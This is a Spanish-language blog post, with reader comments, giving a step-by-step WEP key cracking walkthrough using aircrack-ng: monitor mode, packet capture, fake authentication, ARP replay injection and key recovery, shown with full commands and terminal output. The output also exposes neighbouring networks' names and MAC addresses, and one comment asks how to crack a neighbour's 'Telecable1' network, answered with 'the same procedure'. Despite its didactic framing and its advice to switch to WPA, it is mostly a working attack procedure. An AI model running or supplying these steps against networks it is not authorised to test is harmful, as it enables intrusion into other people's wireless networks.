febrero 14, 2011

Probando la Seguridad de las Claves WEP

Por petición añeja  de @MarcoIvanVargas y el interés de @Calvarez1976 en el tema, el día de hoy expondre como es que la encriptación WEP para redes inalambricas (qué es la más usada en nuestro país actualmente) está ya herida de muerte y será necesario escalar al siguiente peldaño en la escalera de la encripctación de redes inalambricas. Afortunadamente no vivimos (espero) en un barrio en el que todos sean hakers(o peor hackers wannabe) y tener almenos una Encriptación WEP nos ayuda a que no todos en la calle se cuelgue de nuestra conexión.

Mi convicción personal me obliga a decirles que lo aquí expuesto no es más que una demostración de como las claves WEP son débiles este artículo no tiene la finalidad de enseñar a "romper" la seguridad de ninguna otra red, es con fines didacticos y no me hago responsable de lo ustedes puedan hacer con dicha información o pérdida de información ( e incluso de la libertad XD )

Lo primero que necesitamos es tener a la mano las herramientas de "aircrack". En esta explicación utilizaremos la versión para Linux pues aunque hay versión para windows, ésta se ve limitada por no poder realizar tareas como inyección de paquetes y otros trucos que llevaremos a cabo. No voy a explicar muchos datos técnicos para no facilitarle tanto las cosas a usuarios que lleguen aquí con quien sabe que intenciones ¬¬
En otros casos haré enlaces a la wikipedia para la definición de algunos terminos.

Doy por hecho que tenemos tarjeta de red inalambrica y que además soporta el modo promiscuo(monitoreo) de conexión y que estamos familiarizados con la ventana de terminal en linux.

Teniendo el aircrack instalado en Linux  (podemos utilizar una distribución como backTrack que ya tiene todo lo necesario para estos menesteres)
Manos a la Obra:

Primero: airmon-ng start wlan2

Pondremos en modo promiscuo (monitoreo) la tarjeta de red en mi caso se llama Wlan2

Tecleamos en la línea de comandos: airmong-ng start wlan2

lo que regresa:
root@ubuntu:~# airmon-ng start wlan2

Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID Name
853 avahi-daemon
855 avahi-daemon
863 NetworkManager
903 wpa_supplicant
9318 dhclient


Interface Chipset  Driver
wlan2  RTL8187  rtl8187 - [phy0]
    (monitor mode enabled on mon0) <--- monitor ON

root@ubuntu:~#

Si no te sale (monitor mode enabled on mon0)  no sigas leyendo que tu tarjeta no soporta el modo de monitor :P
en este punto el nombre de la interfaz que usaremos en el resto de los pasos será mon0

SEGUNDO: airodump-ng mon0 identificar la red que vamos a probar

root@ubuntu:~# airodump-ng mon0
 CH  5 ][ Elapsed: 12 s ][ 2011-01-26 17:56                                       
                                                                                  
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                     
                                                                                                    
 00:26:44:29:CF:D3  -28        6        0    0   1  54   WEP  WEP         INFINITUM1C04AA
 F0:7B:CB:11:07:24  -45        2        0    0   9  54e  WEP  WEP         Telecable1

 00:25:68:06:FB:A8  -56        5        0    0   6  54   WEP  WEP         INFINITUM311a
 00:24:17:3D:51:E9  -60        2        8    0   9  54   WEP  WEP         MOTOROLA

 00:23:51:71:03:B1  -60        5        0    0   1  54 . WEP  WEP         INFINITUM0351
 00:1F:B3:E5:49:81  -62        4        0    0   3  54 . WEP  WEP         INFINITUM1079
 00:21:7C:74:46:31  -65        3        0    0   7  54 . WEP  WEP         ISSSEA

 00:21:7C:68:EE:F9  -67        2        0    0   1  54 . WEP  WEP         INFINITUM3639
 00:25:68:07:02:08  -68        3        0    0   2  54   WEP  WEP         INFINITUMda5c

root@ubuntu:~#

Aquí podemos ver datos importantes
  • PWR: es el nivel(poder) de la señal de radio
  • CH: channerl, el canal de transmisión del AccessPoint
  • ESSID: es el nombre de la red en cuestión
  • BSSID: que es la MACaddress del dispositivo 
Para este ejemplo tomaremos la red INFINITUM311a pues es nuestra y no afectamos a nadie

TERCERO: airodump-ng mon0 --ivs -w INFINITUM311a -c6
ahora nos conectaremos al dispositivo que seleccionado en el canal en el que transmite

root@ubuntu:~# airodump-ng mon0 --ivs -w INFINITUM311a -c6 
[CH  6 ][ Elapsed: 1 min ][ 2011-01-26 18:09
                                                                                                                                               BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER      ESSID
00:26:44:29:CF:D3  -40   0       15        0    0   1  54   WEP  WEP         INFINITUM1C04AA
00:25:68:06:FB:A8  -54  50      758        1    0   6  54   WEP  WEP         INFINITUM311a
F0:7B:CB:11:07:24  -61   7       56        0    0   9  54e  WEP  WEP         Telecable1
00:24:17:3D:51:E9  -63   0        8        6    0   9  54   WEP  WEP         Motorola
64:16:F0:33:40:5D  -68   0        4        0    0  11  54   WEP  WEP         INFINITUM93bd
64:16:F0:BB:5D:7A  -67  54      536        0    0   6  54   WEP  WEP         INFINITUM1a49
00:24:17:B9:26:97  -69  37      413        2    0   6  54   WEP  WEP         INFINITUM69042B         00:23:51:71:03:B1  -65   0        1        0    0   1  54 . WEP  WEP         INFINITUM0351
00:21:7C:68:EE:F9  -66   0        2        1    0   1  54 . WEP  WEP         INFINITUM3639

-- Abrir una nueva terminal y hacer lor lo siguiente:

Si la red en cuestión sólo está siendo utilizada por nosotros entonces debemos asociar a un cliente más para poder relizar la captura de paquetes que viajan por el aire si hubiera mas usuarios en la red podemos saltarnos este paso:

CUARTO: aireplay-ng mon0 -1 0 -e INFINITUM311a -a 00:25:68:06:FB:A8

root@ubuntu:~# aireplay-ng mon0 -1 0 -e INFINITUM311a -a 00:25:68:06:FB:A8
No source MAC (-h) specified. Using the device MAC (00:C0:CA:3A:3D:53)
18:13:53  Waiting for beacon frame (BSSID: 00:25:68:06:FB:A8) on channel 6
18:13:53  Sending Authentication Request (Open System) [ACK]
18:13:53  Authentication successful
18:13:53  Sending Association Request [ACK]
18:13:53  Association successful :-) (AID: 1)root@ubuntu:~#

Si en este punto no sale Association Successfu es porque el AccessPoint tiene un filtrado de MACaddress lo que es una buena práctica para proteger la red inalambrica, lo trite aquí es que la mayoría de estos dispositivos se quedan con la configuración predeterminada y no cuentan con filtrado por MAC

Una vez que hemos conseguido la asociación (o en el caso de haber ya un cliente legítimo conectado),

relanzamos aireplay cambiando alguno de los parámetros.
Necesitamos cambiar el primer parámetro a “-3” que corresponde al ataque de inyección automático y pon atención en el parámetro -r que le indica al comando que debe guardar la captura de paquetes en el archivo llamado "archivo.cap"


QUINTO: aireplay-ng mon0 -3 -e INFINITUM311a -b 00:25:68:06:FB:A8 -r archivo.cap 

root@ubuntu:~# aireplay-ng mon0 -3 -e INFINITUM311a -b 00:25:68:06:FB:A8 -r archivo.cap

No source MAC (-h) specified. Using the device MAC (00:C0:CA:3A:3D:53)
18:22:26  Waiting for beacon frame (BSSID: 00:25:68:06:FB:A8) on channel 6
Saving ARP requests in replay_arp-0126-182226.cap
You should also start airodump-ng to capture replies.
Read 3707 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)

Nota que la linea donde dice:
Read 3707 packets (got 0 ARP requests and 4 ACKs), sent 0 packets...(0 pps)

irá cambiando aquí el siguiente salto:
68707 packets (got 0 ARP requests and 746 ACKs), sent 0 packets...(500 pps)

En este punto lo que debemos hacer es esperar, esperar y esperar, nuestro trabajo aquí es capturar la mayor cantidad de paquetes... ¿cuantos? entre más mejor.

Aquí pudo hacer una serie de anotaciones en base a mi experiencia:
  • Les puedo decir que entre más cerca estes de la señal, menos tiempo tardarás en realizar la captura,
  • si por alguna situación se detiene la captura de paquetes puedes reiniciarla desde el paso 5°, el parametro -r permite agregar al archivo más paquetes de captura y no comienza de nuevo.
  • La paciencia es un don que todo especialista de seguridad debe tener. XD
Después de estar algo así como 20 minutos capturando la señal (estamos en la habitación de al lado por eso la captura es relativamente rápida) Estamos listos para ejecutar el último comando, el que permitirá descubrir la clave WEP de la red inalambrica.

SEXTO: aircrack –x -0 nombre_archivo_captura


El parámetro –x evita que se realice “fuerza bruta” sobre los 2 últimos bytes, lo que acelerará el proceso al probar menos claves
El parámetro -0  en realidad no sirve para nada, lo único que hace es poner aircrack en un color similar al de la película “Matrix”. XD

Finalmente el último parametro es el nombre del archivo de las capturas realizadas con airoduimp. en nuestro caso "archivo.cap"
abrimos otra terminal para lanzar el comando aircrack
aquí  la salida del comando:

root@ubuntu:~# aircrack –x -0 archivo.cap

                                           Aircrack-ng 1.0                           
                                [00:01:57] Tested 8 keys (got 518916 IVs)  
KB    depth   byte(vote)   
0    0/  1   02(26880) 85(25344) 33(24832) 1B(24320) F8(24064) 38(23552) 98(23552)
1    0/  1   78(28416) 1C(24320) 78(24064) C2(24064) CE(23808) 1A(23552) 21(23040)
2    0/  1   84(27904) 71(24832) 7E(24832) 06(23808) E2(23808) 1C(23296) A5(23296)
3    0/  2   58(26368) BD(26368) 49(24064) 68(24064) D8(24064) 1C(23040) 9D(23040)
4    0/  4   5F(24832) 54(24832) F9(24576) 9C(23808) 0D(23552) A4(23552) B0(23552)

KEY FOUND! [ 02:78:84:58:46 ]  Decrypted correctly:100%

root@ubuntu:~#

La clave encontrada
0278845846

Necesitarás aproximadamente 300.000 IVs para una WEP de 64 bytes y 1.000.000 de IVs para una clave de 128 bytes. A veces puedes necesitar muchos mas.

Debes lanzar Aircrack cuando tengas unos  300.000 IVs

Puedesn lanzar aircrack mientras continuas al mismo tiempo la captura de paquetes con airodump.
Si falla la desenciptación de la clave puedes esperar unos minutos más y volver a lanzar el aircrack (recuerda que esto es de paciencia)

No te olvides de situarte en el directorio que contiene el archivo .cap, o indica la ruta completa del mismo en el comando aircrack.

Esta prueba se realizo aproximadamente en 40minutos.

Lo que nos permite demostrar que la encriptación WEP es relativamente debil y sencilla de romper por algún usuario malintencionado (que es el punto de este post)

Usar encriptación WPA y WPA2 es un poco más seguro (si un poco,pues también se puede romper aunque tarda más tiempo)

y lo mejor que podemos hacer como usuarios domesticos es usar filtrado por dirección MAC en nuestros AccessPoints.

Y como el aparato mas seguro del mundo es el que está apagado.... apaga tu AccessPoint si no usas tu conexión o no estarás en casa.

Espero que les sea útil este post para fortalecer la seguridad de sus conexiones.

Para profundizar más en el tema: Google es tu amigo y la página oficial del proyecto Aircrack

Saludos Seguros 0=¬)

3 comentarios:

  1. Como siempre ingeniero, su forma tan clara de explicar las cosas... espero su proxima entrada :D saludos seguros para ud. tambien

    ResponderEliminar
  2. Esas son las faciles de crackear pero muestra un ejemplo para la "telecable1" se agradeceria gracias

    ResponderEliminar
  3. es exactamente el mismo procedimiento pues el modo de encriptación es WEP. cambia cuando te encuentras con WPA o WPA2

    ResponderEliminar